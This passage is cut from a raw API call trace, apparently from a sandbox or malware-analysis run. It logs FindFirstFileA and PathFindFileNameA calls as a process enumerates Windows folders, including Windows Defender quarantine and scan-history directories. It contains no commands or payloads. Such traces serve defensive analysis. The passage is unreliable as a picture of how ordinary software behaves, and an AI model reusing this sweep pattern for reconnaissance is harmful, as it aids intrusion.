(pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\ShapeCollector.lnk") returned="ShapeCollector.lnk" [0092.361] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\TabTip.lnk") returned="TabTip.lnk" [0092.361] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*") returned="*.*" [0092.361] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk") returned="Welcome Center.lnk" [0092.362] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3db780, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3db780, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x4fa59a, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.362] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*.*") returned="*.*" [0092.362] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini") returned="desktop.ini" [0092.362] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk") returned="Windows PowerShell (x86).lnk" [0092.363] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk") returned="Windows PowerShell ISE (x86).lnk" [0092.363] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk") returned="Windows PowerShell ISE.lnk" [0092.363] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.*") returned="*.*" [0092.363] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*.*") returned="*.*" [0092.363] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3db780, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x3db780, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x490046, dwReserved1=0x45004c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.364] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*") returned="*.*" [0092.364] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk") returned="Component Services.lnk" [0092.364] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk") returned="Computer Management.lnk" [0092.364] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Data Sources (ODBC).lnk") returned="Data Sources (ODBC).lnk" [0092.365] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\desktop.ini") returned="desktop.ini" [0092.366] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4018e0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4018e0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4fa582, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.367] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x4018e0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4018e0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4fa582, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.368] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4018e0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4018e0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.369] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4018e0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x4018e0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4fa582, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.369] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x427a40, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x427a40, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x4fa5a4, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.371] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x427a40, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x427a40, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4fa582, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.372] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x427a40, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x427a40, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4fa582, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.372] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f3cc, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.374] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.374] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.375] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.375] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.375] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x591e8ca0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0x591e8ca0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450057, dwReserved1=0x52, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.376] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.376] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.376] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.377] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x44dba0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x44dba0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.378] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.378] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.379] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7690f9e4, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x7690f9e4, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.379] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.379] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x76b24d28, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x44dba0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x44dba0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.380] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0xa13d69d0, ftLastAccessTime.dwHighDateTime=0x1d2dda3, ftLastWriteTime.dwLowDateTime=0xa13d69d0, ftLastWriteTime.dwHighDateTime=0x1d2dda3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x500059, dwReserved1=0x200054, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.380] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa13d69d0, ftCreationTime.dwHighDateTime=0x1d2dda3, ftLastAccessTime.dwLowDateTime=0x44dba0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x44dba0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.381] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ce0c6, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x44dba0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x44dba0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x201, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.386] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x244fb42, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x244fb42, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x244fb42, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.386] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x44dba0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x44dba0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690048, dwReserved1=0x740073, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.387] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.387] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.387] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.388] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.388] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x473d00, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x473d00, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.389] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.393] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.394] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.394] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.395] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, 